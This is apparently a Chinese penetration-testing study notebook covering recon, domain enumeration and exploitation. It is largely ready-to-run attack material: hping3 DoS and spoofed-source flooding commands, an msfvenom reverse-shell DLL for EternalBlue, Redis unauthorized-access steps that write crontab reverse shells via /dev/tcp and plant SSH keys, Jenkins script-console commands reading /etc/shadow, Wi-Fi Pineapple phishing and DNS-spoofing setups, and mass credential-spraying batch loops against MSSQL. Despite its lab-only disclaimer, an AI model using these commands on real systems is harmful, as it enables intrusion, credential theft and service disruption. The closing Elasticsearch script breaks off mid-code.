**
**
作者:大余
时间:2020-09-22
请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
我必须再重申一遍:务必不要做未授权测试!不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出于好奇而不是恶意,你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更好的继续学习发展,有很多漏洞奖励计划和靶场可以供你学习试验,但是请记住,即使是参加漏洞奖励计划,私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。
官网: https://nmap.org/
安装系统及命令:
Mac os: brew install nmap
Centos: yum install nmap
Ubuntu: apt一get install nmap
参考手册: https://nmap.org/man/zh/index.html
扫描方式
常见的七种扫描方式:
ТСР: -sT
SYN: -sS
ACK: -sA
UDP: -sU
RPC: -sR
ICMP: -sP
Disable Port Scan: -sn
最常见的这些参数解释:https://blog.csdn.net/liudongdong19/article/details/83506731
常见扫描案例
扫描10000端口、操作系统、版本
nmap -T4 -A
版本探测
nmap -sV
操作系统
nmap -O
其他常用技巧:
--host-timeout 主机超时时间 通常选值:18000
--scan-delay 报文时间间隔 通常选值:1000
-s <源地址> 定义扫描源地址,为了不被发现
示例
nmap -V -iR 100000 -PO -p 80
随机选择100000台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间,而且只需探测主机的一个端口,因此使用-PO禁止对主机列表。
host -l company.com | cut -d -f 4 | nmap -V -iL -
进行DNS区域传输,以发现company.com中的主机,然后将IP地址提供给Nmap。上述命令用于GNU/Linux —— 其它系统进行区域传输时有不同的命令。
输出
-oN
-oX
-oG
参考:http://www.unspecific.com/nmap-oG-output/
项目地址: https://github .com/robertdavidgraham/masscan
安装:
$ sudo apt-get install git gcc make libpcap一dev
$ git clone https://github. com/ rober tdavidgr aham/ masscan
$ cd masscan
$ make
该工具兼容Nmap的参数高级选项
高级选项
命令:sudo masscan --ports 1-10000 192.168.1.4 --adapter-ip 192.168.175.128
-adapter-ip 指定发包的IP地址
-adapter-port 指定发包的源端口
-adapter-mac 指定发包的源MAC地址
-router-mac 指定网关的MAC地址
-exclude IP地址范围黑名单,防止masscan扫描
-excludefile 指定IP地址范围黑名单文件
-includefile,-iL 读取一个范围列表进行扫描
-wait 指定发送完包之后的等待时间,默认为10秒
命令:masscan -e eth0 -p 1-65535 --rate 1000 192.168.1.4
在网络环境慢的情况下,快速扫描出存在端口与nmap配合
kali系统自带nbtscan,以及查看帮助说明
nbtscan扫描可以发现主机名、MAC addr等信息…
nbtscan -r 192.168.1.0/24
扫描整个C段
nbtscan 192.168.1.1-100
扫描一个范围
nbtscan -v -s : 192.168.1.0/24
以:分割显示结果
nbtscan -f
从文件读取扫描范围
高级用法
nbtscan -v -s ' ' 192.168.1.4
nbtscan -v -s ' ' 192.168.1.4 | awk '{print $1}' | uniq
hping3主要测试防火墙的拦截规则,对网络设备进行测试
常用模式
常用模式
-0 -rawip IP原始报文
-1 -icmp ICMP模式
-2 -udp UDP模式
-8 -scan 扫描模式
-9 -listen 监听模式
hping3 --scan 1-30,70-90 -S www.baidu.com
SYN方式扫描主机端口
sudo hping3 --scan 445,135 -S 192.168.1.4
可以看到,目标主机回复了: S…A,代表SYN/ACK
hping3 -S -a 114.114.114.114 -p 53 114.114.114.114 -c 5
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)
DRDDOS
hping3 -udp -a 114.114.114.114 -p 53 114.114.114.114 -c 5
基于UDP的DOS
参考
http://0daysecurity.com/articles/hping3_ examples.html --很详细用法的解释
http://man.linuxde.net/hping3
在渗透前期工作开展之前,需要对目标的各种信息进行分析、拆分、组合
例如:赫尔巴斯亚基国
根据地域习惯、宗教、互联网开放信息等信息进行简要拆分,假设获取的信息如下:
当地人爱好吃橙子
当地人信奉伊斯兰教
IPV4地址开放IP段
相关社交网络公 开的数据库
根据宗教、习惯、IP地址、 开放数据支持…等,为后续的字典生成、鱼叉、水坑攻击铺下基石
安装:
git clone https://github.com/LandGrey/pydictor
生成字典
命令:python pydictor.py --sedb
常见的命令:
python pydictor.py --sedb
set cname liwei
set sname lw Lwei
set ename zwell
set birth 19880916
set usedpwd liwei123456. liwei@19880916 lw19880916_123
set phone 18852006666
set uphone 15500998080
set hphone 76500100 61599000 01061599000
set email [email protected]
set email [email protected]
set email [email protected]
set email [email protected]
set postcode 663321 962210
set nickname zlili
set idcard 152726198809160571
set jobnum 20051230 100563
set otherdate 19591004 19621012
set otherdate 19870906 19880208
set usedchar tiger gof gamesthrones 176003 m0n5ter ppdog
常用的组合命令:
合并去重
python pydictor.py -tool uniqbiner /my/all/dict/
多字典文件组合工具
python pydictor.py -tool hybrider heads.txt some_others.txt tails.txt
参考详细:https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md
CVE:https://cve.mitre.org/
Exploit-DB:https://www.exploit-db.com/
CX Security:https://cxsecurity.com/
CNVD:https://www.cnvd.org.cn/
securitytracker:https://www.securitytracker.com/
**
**
利用searchsploit apache 5.3.12搜索apache漏洞…这很熟悉了…
命令:searchsploit -u
更新最新exp库…
百度:https://www.baidu.com
谷歌:https://www.google.com
必应:https://cn.bing.com
http://ce.baidu.com/index/getrelatedsites?site_address=baidu.com
http://www.webscan.cc/
http://sbd.ximcx.cn/ --在线子域名查询-接口光速版
https://censys.io/certificates?q=.example.com
https://crt.sh/?q=%25.example.com
https://github.com/c0ny1/workscripts/tree/master/get-subdomain-from-baidu
https://dnsdumpster.com/ --查询DNS记录、侦查、研究
https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=baidu.com --和第一个一样
https://findsubdomains.com/
https://dnslytics.com/search?g=www.baidu.com --DNSlyrics
https://pentest-tools.com/information-gathering/find-subdomains-of-domain --DNS攻击面2次免费
https://viewdns.info/ --功能很多
https://www.ipneighbour.com/#/lookup/114.114.114.114 --邻居发现
https://securitytrails.com/list/apex_domain/baidu.com
https://url.fht.im/
http://api.hackertarget.com/hostsearch/?q=baidu.com
http://www.yunsee.cn/finger.html --云悉(限制挺大)
有几个挺好用的,自行挖掘…
https://github.com/rshipp/awesome-malware-analysis/blob/master/恶意软件分析大合集.md
此网站极力推荐学习!!!
您可以在所有公共GitHub存储库中搜索以下类型的信息,以及您有权访问的所有私有Github存储库
Repositories
Topics
Issues and pull requests
Code
Commits
Users
Wikis
参考 :
Searching for repositories
Searching topics
Searching code
Searching commits
Searching issues and pull requests
Searching users
Searching wikis
Searching in forks
可以使用以上方式搜索页面或高级搜索页面搜索Github
您可以使用>,>=,<,和<搜索是大于,大于或等于,小于和小于或等于另一个值的值
下面会介绍如何搜索
搜索仓库
>_n cats stars:>1000匹配关键字"cats"且star大于1000的仓库
>=_n_ cats topIcs:>=5匹配关键字"cats"且标签数量大于等于5的仓库
<_n_ cats size:<10000匹配关键字"cats"且文件小于10KB的仓库
<=_n_ cats stars:<=50匹配关键字"cats"且star小于等于50的仓库
_n_..* cats stars:10..*匹配关键字"cats"且star大于等于10的仓库
*.._n_ cats stars:*..10匹配关键字"cats"且star小于等于10的仓库
n..n cats stars:10..50匹配关键字"cats"且star大于10且小于50的仓库
注意事项
只能搜索小于384KB的文件
只能搜索少于500,000个文件的存储库,登录的用户可以搜索所有公共存储库
除filename搜索外,搜索源代码时必须至少包含一个搜索词。例如,搜索language: Javascript无效,而是这样: amazing language:Javascript
搜索结果最多可以显示来自同一文件的两个片段,但文件中可能会有更多结果。您不能将以下通配符用作搜索查询的一部分“.、! " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] 搜索将忽略这些符号
日期条件
cats pushed:<2012-07-05 搜索在2012年07月05日前push代码,且cats作为关键字
cats pushed:2016-04-30..2016-07-04 日期区间
cats created:>=2017-04-01 创建时间
逻辑运算
AND、OR、NOT
排除运算
cats pushed:<2012-07-05 language:java 搜索在2012年07月05日前push代码,且cats作为关键字,排除java语言仓库
包含搜索
cats in:file 搜索文件中包含cats的代码
cats in:path 搜索路径中包含cats的代码
cats in:path,file 搜索路径、文件中包含cats的代码
console path:app/public language:javascript 搜索关键字 console,且语言为javascript,在app/public下的代码
主体搜索
user: USERNAME 用户名搜索
org: ''ORGNAME 组织搜索
repo: USERNAME/REPOSITORY 指定仓库搜索
文件大小
size:>1000 搜索大小大于1KB的文件
filename:config.php language:php 搜索文件名为 config.php,且语言为php的代码
搜索Java项目配置文件: mail filename:.properties
搜索extension:yaml mongolab.com 中存在的代码信息等
https://github.com/unkl4b/gitmIner
example使用即可,非常好用
https://github.com/techgaun/github-dorks 详细介绍github hacking 搜索利用代码以及方法!!
用法
Intitle 包含标题
Intext 包含内容
filetype 文件类型
Info 基本信息
site 指定网站
inurl 包含某个url
link 包含指定链接的网页
cache 显示页面的缓存版本
numberange 搜索一个数字
示例
搜索目标包含后台的页面
命令:inurl:/admin intext: 后台管理系统
site:"some-keywords.com"intitle: login intext: intext: 管理|后台|登陆|用户名|密码|验证码|系统|帐号| manage|admin|login|system
搜索目标是否有目录列表
可看到存在目录列表很多url
命令:intext: index of / | ../ | Parent Directory
site:"some-keywords.com" intext: index of / | ../ | Parent Directory
特性
可以添加自己的正则表达式,在 docker run的时候使用-V
(pwd)/ rules. json; /root/truffleHog/rules. json。可以使用默认正则表达式,如果需要,也可以用truffleHog提供的高熵字符串。可以通过repo- supervisor工具搜索s和json中的高熵字符串。可以搜索用户的Gist,大多数工具都没这个功能。有新工具可以很容易地集成到 git-all-secrets。支持扫描企业 Github orgs/ users/repos/ gists。大多数工具只扫描单个仓库,gtal- secrets可以一次扫描多个…
需要在docker环境下安装,我跳过了这个,以后有精力查看!
条件
掌握其中一个用户邮箱的账号密码,并且可以登录outlook
outlook地址可以是官方的也可以是目标自己搭建的,并无影响
目的
获取目标邮箱里的所有联系人,方便后续爆破弱口令等等
利用
将尝试 Outlook Web Access(OWA)和Exchange Web服务(EWS)的方法。此命令可用于从Exchange收集电子邮件列表 :
Get-GlobalAddressList -ExchHostname "outlook地址” -UserName “域名/域用户名” -Password “密码” -OutFile global-address-list.txt
可以自己搭建目标outlook在自己服务器上
此处使用kion的域环境模拟
在mailsniper. ps1最后一行加入以下代码,也可以通过传参的形式调用
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
尝试使用我们传递的账号密码去登录目标的outlook,成功登录后会把邮件里的联系人都获取下来,并输出保存到文件里
如果outlook在Office365上道理也是一样的,把ExchHostname指向outlook.office365.com即可,username使用完整的邮箱不要是用户名即可
Get-GlobalAddressList -ExchHostname outlook.office365.com -Username 用户名@邮箱.....
参考链接
https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/
https://www.cnblogs.com/backlion/p/6812690.html
工具地址
https://github.com/dafthack/mailsniper
检查当前shell权限
whoami /user & whoami /priv
查看系统信息
systeminfo
收集信息主机名->扮演角色
Tcp/udp 网络连接状态信息
netstat -ano
可以获取内网IP分布状态-服务(redis)
查看机器名
hostname
查看当前操作系统
wmic OS get Caption,CSDVersion,OSArchitecture,Version
ver
查杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
查看当前安装的程序
wmic product get name,version
查看在线用户
quser windwos7命令
net config workstation windwos10命令/查看当前域
查看网络配置
ipconfig /all
有 Primary Dns Suff就说明是域内空的则当前机器应该在工作组
查看进程
tasklist /v
有些进程可能是域用户启的->通过管理员权限凭证窃取->窃取域用户的凭证
查看当前登陆域
net config workstation
远程桌面链接历史记录
cmdkey /l
可以把凭证取下来->本地密码
查看本机上的用户账户列表
net user
查看本机用户xxx的信息
net user xxx
查看本机用户xxx的信息
net user /domain 显示所在域的用户名单
net user 域用户 /domain 获取某个域用户的详细信息
net user /domain xxx 12345678 修改域用户密码,需要域管理员权限
nltest /domain_trusts /all_trusts /v /server: 192.168.xx.xx 返回所有信任域列表
nltest /dsgetdc:hack /server:192.168.xx.xx 返回域控和其相应的IP地
net user /do 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "domain computers" /domain 查看域机器
net group /domain 查询域里面的工作组
net localgroup administrators 本机管理员[通常含有域用户]
net localgroup administrators /domain 登录本机的域管理员
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net view 查看同一域内机器列表
net view \\ip 查看某IP共享
net view \\GHQ 查看GHQ计算机的共享资源列表
net view /domain 查看内网存在多少个域
net view /domain:XYZ 查看XYZ域中的机器列表
net accounts /domain 查询域用户密码过期等信息
查看当前权限
whoami
查看网卡配置
ifconfig
查看端口状态(开启了哪些服务,内网IP连接等
netstat -anpt
查看进程状态(开启了哪些服务等)
ps -ef
查看管理员的历史输入命令(获取密码,网站目录,内网资产等信息)
cat /root/.bash_history
查找某个文件(寻找配置文件等)
find / -name *.cfg
前言
wmic和cmd一样在所有的windows版本中都存在,同时wmic有很多cmd下不方便使用的部分,今天给大家介绍一些在后渗透过程中非常适用的使用wmic进行信息收集的命令
关于wmic
WMI命令行(WMIC)实用程序为WMI提供了命令行界面。WMIC与现有的Shell和实用程序命令兼容。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的,WMIC改变了这种情况
首先在cmd命令行输入wmic进入交互式页面,这里说一下在powershell也可以和cmd命令行一样的操作
进入wmic和powershell模式下
/? 查看WMIC命令的全局选项以及命令属性等
process /? 进程管理的帮助
wmic process get /? 属性获取操作帮助
根据实际的需要去对相关的信息进行读取
这里的靶机是win7 x86的虚拟机,这里以查看进程为例:
wmic process get caption,executablepath,processid
获取系统当前正在运行的进程等信息
wmic service where (state="running") get name ,processid ,pathname ,startmode ,caption
查看服务进程详细信息
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
查看安装的杀软进程运行情况
wmic onboarddevice get Description, DeviceType, Enabled, Status /format:list
查看存在状态
wmic product get name
系统安装软件情况
wmic environment get Description, VariableValue
系统环境变量
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
关于更多的信息可以通过官方的说明文档
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
Get-Wmi是获取Windows Management Instrumentation(WMI)类的实例或有关可用类的信息。我们需要首先知道自己的 windows计算机支持那些可用的WMI类
Get-Wmiobject -list 自己的windows计算机支持那些可用的WMI类
get-wmiobject
get-wmiobject -class win32_process
在本地计算机上获取进程
具体的参数以及命令在官方文档中进行查询:
https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Get-WmiObject?view=powershell-5.l#parameters
很棒的powershell官方命令
SMB( Server Message Block) Windows协议族,主要功能为文件打印共享服务,简单来讲就是共享文件夹
该端口也是近年来内网横向扩展中比较火的端口,大名鼎鼎的永恒之蓝漏洞就是利用该端口,操作为扫描其是否存在MS17-010漏洞。正常情况下,其命令主要是建立IPC服务中
空会话
net use \\192.168.1.x
远程本地认证
net use \\192.168.1.2 /user:a\username password
注:a/username 中 a 为工作组情况下的机器命名,可以为任意字符,例如workgroup/username
域 test.local 远程认证
net use \\192.168.1.2 /user:test\username password
NetBios端口,137、138为UDP端口,主要用于内网传输文件,而NetBios/SMB服务的获取主要是通过139端口
Port: 135
该端口主要使用DCOM和RPC(Remote Procedure Call)服务,我们利用这个端口主要做WMI(Windows Management Instrumentation)管理工具的远程操作
使用时需要开启wmic服务
几乎所有的命令都是管理员权限
如果出现 "Invalid Globa| Switch",需要使用双引号把该加的地方都加上
远程系统的本地安全策略的“网络访问:本地帐户的共享和安全模式"应设为“经典-本地用户以自己的身份验证"
防火墙最好是关闭状态
该端口还可以验证是否开启 Exchange Servert
Port: 53
该端口为DNS服务端口,只要提供域名解析服务使用,该端口在渗透过程中可以寻找一下DNS域传送漏洞,在内网中可以使用DNS协议进行通信传输,隐蔽性更加好
参考文章 :
dns隧道之dns2tcp
https://blog.csdn.net/gsls200808/article/details/50318947
https://blog.csdn.net/deng_xj/article/details/88834124
dns隧道之unseat2
https://www.cnblogs.com/bonelee/p/7927706.html
https://blog.csdn.net/ddr12231/article/details/102306989
Port: 389
用于LADP(轻量级目录访问协议),属于TCP/IP协议,在域过程中一般出现在域控上出现该端口,进行权限认证服务,如果拥有对该域的用户,且担心net或者其他爆破方法不可行的情况,可以尝试使用LADP端口进行爆破
工具可以使用类似于hydra等开源项目
Port: 88
该端口主要开启Kerberos服务,属于TCP/IP协议,主要任务是监听KDC的票据请求,该协议在渗透过程中可以进行黄金票据和白银票据的伪造,以横向扩展某些服务
Port: 5985
该端口主要介绍WinRM服务,WinRM是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。并且WinRM服务自Windows Vista开始成为Windows的默认组件
条件:
Windows Vista上必须手动启动,而Windows Server 2008 中服务是默认开启的
服务在后台开启,但是端口还没有开启监听,所以需要开启端口
使用 winrm quickconfig 对winRM进行配置,开启HTTP和HTTPSS监听,且需要开启防火墙
组合拳入侵(配合)
前言:主要向大家介绍 WiFi Pineapple(以下简称“菠萝”)设备的基本使用方法,以及通过菠萝中的几个模块达到中间人攻击,网站钓鱼和获得shell。文章中主要使用到DWall、Evil Portal与DNSMasq Spoofv三个模块
Pineapple开启与网络桥接将菠萝的按钮由off划到wifi标志,稍等片刻便会向周围发射两个无线信号。一个无线信号是菠萝的管理ap,一个是给受害者使用的开放ap。这两个ap的ssid以及管理ap的密码均可以在菠萝的web管理界面中设置
http://www.wifipi.org:8080/WiFiPineapple-%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C-V1.3.pdf
https://shop.hak5.org/products/wifi-pineapple
参考该资料以及购买菠萝设备连接!
简单总结一下利用模块解释:
Evil Portal
可以利用Evil Portal模块获取TP-LINK管理员密码,它的作用是可以使接入用户在访问任意网站时都跳转到我们事先设置好的 Landing page中。 Landing Page是设置菠萝网关的页面,此处我们重定向到公网上一台配置好钓鱼网站的vps上,也可给菠萝添加一张sd卡,直接将钓鱼网站文件放置到菠萝中
Dwall
使用DWall进行中间人攻击DWall中文名称叫"绵羊墙",是菠萝中的一个默认安装模块,它可以嗅探已连接客户端的所有HTTP请求,如URLS、Cookies、Post Data,以及实时地显示出客户端正在浏览的图片等
DNSSpoof
此处使用到菠萝中的 DNSMasq spoc模块。它的作用是dns劫持,获取到受害客户端的域名解析控制权。我们可以在hosts中设置想要进行欺骗的域名,当用户输入该域名后,模块会欺骗用户将域名解析成设置好的IP,此处我们设置跳转到菠萝网关上
DNSSpoof模块可以尝试获取shell,可以尝试使受害者重定向到一台公网上的vps来下载木马文件,诱导受害者点击。木马文件可精心构造,比如具有欺骗性的文件名,免杀木马等。
DNS欺骗原理
DNS服务器工作原理是,存储IP地址到DNS名称映射的记录(称为资源记录)数据库,联系这些资源记录与客户端,并将这些资源记录与其他DNS服务器联系。而客户端对于每个通过互联网发送的DNS请求都包含一个独特的识别码,其目的在于辨识查询和响应,并将对应的查询和响应配对在起。这就意味着,如果我们可以拦截客户端发送的DNS请求包,做一个包含该识别码的假数据包,这样目标计算机就会根据识别码认为这个假数据包就是其需要的结果,从而接受我们发送的包。这里尝试使用nslookup查看域名解析情况,用tracert命令跟踪:无修改,dns欺骗,配置静态dns,三种情况下访问测试域名的路由情况
配置静态可靠的dns
将访问的重要域名与P地址进行绑定
提高安全意识,不轻易连接不可信的、开放的无线热点
auth 处理身份验证
broadcast 网络广播
brute 暴力猜解
default 默认
discovery 服务发现
dos 拒绝服务
exploit 漏洞利用
external 外部扩展
fuzzer 模糊测试
intrusive 扫描可能造成不良后果
malware 检测后门
safe 扫描危害较小
version 版本识别
vuln 漏洞检测
通用参数 -vuln
nmap --script=vuln 192.168.175.138
这儿是我自己搭建的win7虚机扫描的结果,存在两个高危可利用漏洞情况
MS17-010
map --script=smb-vuln-ms17-010 192.168.175.138
在实际渗透测试工作中经常会遇到检测项目中mssq服务器安全性,此篇文章介绍 impack框架中 mssqlclient的使用方法。
mssqlclient与其他工具相比的优势
跨平台,python脚本编写,并且已有exe版本
命令行执行,速度快
支持使用 socks代理传输数据
支持以hash传递的方式进行账号验证
支持 windows认证模式进行mssq服务的安全检测
执行sq命令可以是交互式,也可以直接回显sq命令执行结果
win和linux环境下使用
1)在windows环境下使用windows认证模式,mssqlclient测试登陆sqlserver服务器,账号验证通过后会直接返回 sql shell
mssqlclient.exe dayu/[email protected] -windows-auth
2)通过 socks代理,在linux环境下使用 windows认证模式,mssqlclient测试登陆 sqlserver服务器,账号验证通过后会直接返回 sql shell
proxychains python mssqlclient.py dayu/[email protected] -windows-auth
3)通过 socks代理,以mssql账号验证方式测试登陆mssql服务器,账号验证成功后执行mssql. txt内的sql命令
proxychains python mssqlclient.py ./sa:[email protected] -file mssql.txt
4)通过 socks代理,在linux环境下使用 windows认证模式,mssqlclient测试登录sqlserver服务器,账号验证成功后执行 command.txt内的sql命令
proxychains python mssqlclient.py -p 1433 dayu/sqladmin:[email protected] -windows-auth -file cpmmand.txt
5)在windows环境下使用windows认证模式,使用ntlm hash验证方式,mssqlclient测试登陆sqlserver服务器,账号验证成功后执行command.txt内的sql命令
mssqlclient.exe -p 1433 -hashes :"hash值" dayu/[email protected] -file command.txt -windows-auth
同样也可以用于webshell环境下
批量检测
除此之外,还可以批量检测内网 SQL server服务器的账号安全性
需要准备的文件有:
mssqlclient.exe(必须)
command.txt(必须)
以下四个文件需选其一:
hashes.txt (需验证的 ntlm hash字符串列表)
username.txt(需验证的 username列表)
password.txt(需验证的密码字符串列表)
Ips.txt (需验证的p字符串列表)
举例以下几种批量检测的bat脚本内容
1)测试以 windows认证模式,使用hash传递验证,使用 mssqlclient批量测试登陆 sqlserver服务器,Ips.txt 内容为待检测sqlserver服务ip,每行一条
FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 -hashes :hash值 ......
2)测试以 windows认证模式,使用hash传递验证,指定主机 ntlm hash遍历验证,hashes.txt为待检测已知 ntlm hash内容,每行一条
FOR /F %%i in (hashes.txt) do mssqlclient.exe -p 1433 -hashes %%i domain/adminis.......
3)测试以 sqlserver认证模式,指定待检测主机,遍历验证 passwords.txt 内密码有效性,passwords.txt为已知密码内容,每行一条,验证成功后执行 command.txt内sql命令
FOR /F %%i in (passwords.txt) do mssqlclient.exe -p 1433 ./sa:%%[email protected] ....
4)测试以 sqlserver认证模式,指定待检测密码,遍历验证ip.txt内所有服务器,ip.txt为待检测sqlserver服务器,每行一条,验证成功后执行 command. txt内sql命令
FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 ./sa:password123@%%1i -file ......
这四种命令补全查看前面的讲解即可,或者查看参考资料
参考资料:
https://github.com/SecureAuthCorp/impacket --下载
https://www.puckiestyle.nl/impacket/
https://github.com/SecureAuthCorp/impacket/issues/613
前言
因为有些机器存在漏洞,但是使用MSF的模块利用失败,而使用py脚本则能成功利用
利用
在本地用虚拟机搭建了Kail 和 Windows7系统
windwos7靶机IP:192.168.175.138
生成木马dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.175.138 lport=6666 -f dll > 64.dll
py下载地址:fb.py
https://github.com/misterch0c/shadowbroker/tree/master/windows
1)设置ip
2)Use Eternalblue使用 Eternalblue插件
3)Use doublepulsa使用 doublepulsar插件
4)最后执行dll反弹shell
操作步骤不截图了挺简单的…
这类问题覆盖的应用、利用方式较广,因此只举例频次较高的漏洞
Redis
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库
reds-cli
redis-cli -h 172.16.x.x -p 6379
如何写入文件
172.16.x.x:6379 > CONFIG GET dir
1) "dir"
2) "/usr/local/var/db/redis"
172.16.x.x:6379 > CONFIG set dir /tmp/
OK
172.16.x.x:6379 > SET foobar "who are you? Rvnoxsy"
OK
172.16.x.x:6379 > CONFIG GET dbfilename
1) filename
2) dump.rab
172.16.x.x:6379 > CONFIG SET dbfilename write_file.log
OK
172.16.x.x:6379 > save
OK
反弹shell-Linux
127.0.0.1:6379 > set shell "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/88 0>&1\n"
OK
127.0.0.1:6379 > config set dir /var/spool/cron/
OK
127.0.0.1:6379 > config set dbfilename root
OK
127.0.0.1:6379 > save
[238] xx May xx:xx:xx DB saved on disk
OK
写入公钥
生成公钥:
ssh-keygen-t rsa --一直回城即可
127.0.0.1:6379 > config set dir /root/ssh/
OK
127.0.0.1:6379 > config set dbfilename authorized_keys
OK
127.0.0.1:6379 > set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n"
OK
127.0.0.1:6379 > save
OK
操作完记得情况数据库
172.16.x.x:6379 > FLUSHALL
未授权漏洞
计划任务反弹shell
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 6666
然后执行命令:
redis-cli -h 192.168.x.x
192.168.x.x:6379 > set x "\n* * * * * bash -i >& /dev/tcp/192.168.x.x/6666 ...
192.168.x.x:6379 > config set dir /var/spool/cron/
192.168.x.x:6379 > config set dbfilename root
192.168.x.x:6379 > save
写入公钥
获取rsa
ssh-keygen -t rsa
将公钥写入foo.txt,注意内容前后要加2个换行
echo -e "\n\n"; cat /root/ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
将foo.txt放入键crackit里
cat foo.txt redis-cli -h IP -x set crackit
连接目标
redis-cli -h Ip
设置目标的redis的配置文件
设置数据库备份目录为/root/.ssh/
192.168.X.X: 6379 > config set dir /root/.ssh/
设置数据库备份文件名为authorized_keys
192.168.X.X:6379 > config set dbfilename authorized_keys
此时公钥成功写入目标机子,文件名为authorized_keys
192.168.x.x:6379 > save
利用私钥链接目标
ssh -i /root/.ssh/id_rsa [email protected]
set x "\n\n\n
参考资料:
https://segmentfault.com/a/1190000009811404
https://github.com/andymccurdy/redis-py
默认是8080端口未授权访问就是任意用户都能访问都能执行命令
127.0.0.1:8080/jenkins/manage
127.0.0.1:8080/jenkins/script
常用命令集合:
println "whoami".execute().text
Linux:
println ifconifg -a".execute().text
println "cat /etc/passwd".execute().text
printin"cat /etc/shadow".execute().text
Windows:
println "ipconfig /all".execute().text
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
靶机有漏洞复现,遇到了执行命令即可…
利用可视化工具连接默认端口:28017
推荐Robo3t 1.1 即可
python mongodb_unauth.py
coding:utf-8
mongodb未授权检测脚本
usage: python3 mongodb_unauth.py ip port
默认端口28017和27017
from pymongo import MongoClient
import sys
ip = sys.argv[1]
port = int(sys.argv[2])
try:
conn = MongoClient(ip, port, socketTimeoutMS=5000) #连接 MongoDB,延时5秒
dbs = conn.database_names()
print('[ok] -> {}:{} database_names : {}'.format(ip, port, dbs))
conn.close()
except Exception as e:
error = e.args
print('[-] -> {}:{} error : {}'.format(ip, port, error))
python3 mongodb_unauth.py 192.168.175.1 27017
默认端口:2181、2171
ls / #查看所有节点
get / #获取某个节点信息
参考资料:
https://blog.csdn.net/lihao21/article/details/51778255
https://www.cnblogs.com/wushijin/p/11654076.html
脚本检测
# coding=utf-8
import socket
def get_plugin_info():
plugin_info = {
"name": "Zookeeper未授权访问",
"info": "Zookeeper Unauthorized access",
"level": "中危",
"type": "未授权访问",
"author": "[email protected]",
"url": "https://hackerone.com/reports/154369",
"keyword": "server:Zookeeper",
"source": 1
}
return plugin_info
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "envi"
# envi
# dump
# reqs
# ruok
# stat
s.send(flag)
data = s.recv(1024)
s.close()
if 'Environment' in data:
return u"Zookeeper Unauthorized access"
except:
pass
def main():
ip = "1.1.1.1"
print check(ip, 2181, 2)
if __name__ == '__main__':
main()
https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb
默认端口:9200
http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
htp:// localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数
脚本检测:
# coding:utf-8
# elasticsearch未授权检测脚本
# author:ske
# usage: python3 elasticsearch_unauth.py ip port
# 默认端口9200
# http://localhost:9200/_plugin/head/ web管理界面
# http://localhost:9200/_cat/indices
# http://localhost:9200/_river/_search 查看数据库敏感信息
# http://localhost:9200/_nodes 查看节点数据
import sys
from elasticsearch import Elasticsearch
import requests
import json
ip = sys.argv[1]
port = int(sys.argv[2]) # 9200
try:
es = Elasticsearch("{}:{}".format(ip, port), timeout=5) # 连接Elasticsearch,延时5秒
es.indices.create(index='unauth_text')
print('[+] 成功连接 :{}'.format(ip))
print('[+] {} -> 成功创建测试节点unauth_text'.format(ip))
es.index(index="unauth_text", doc_type="test-type", id=2, body={"text": "text"})
print('[+] {} -> 成功往节点unauth_text插入数据'.format(ip))
ret = es.get(index="unauth_text", doc_type="test-type", id=2)
print('[+] {} -> 成功获取节点unauth_text数据 : {}'.format(ip, ret))
es.indices.delete(index='unauth_text')
print('[+] {} -> 清除测试节点unauth_text数据'.format(ip))
print('[ok] {} -> 存在ElasticSearch未授权漏洞'.format(ip))
print('尝试获取节点信息:↓')
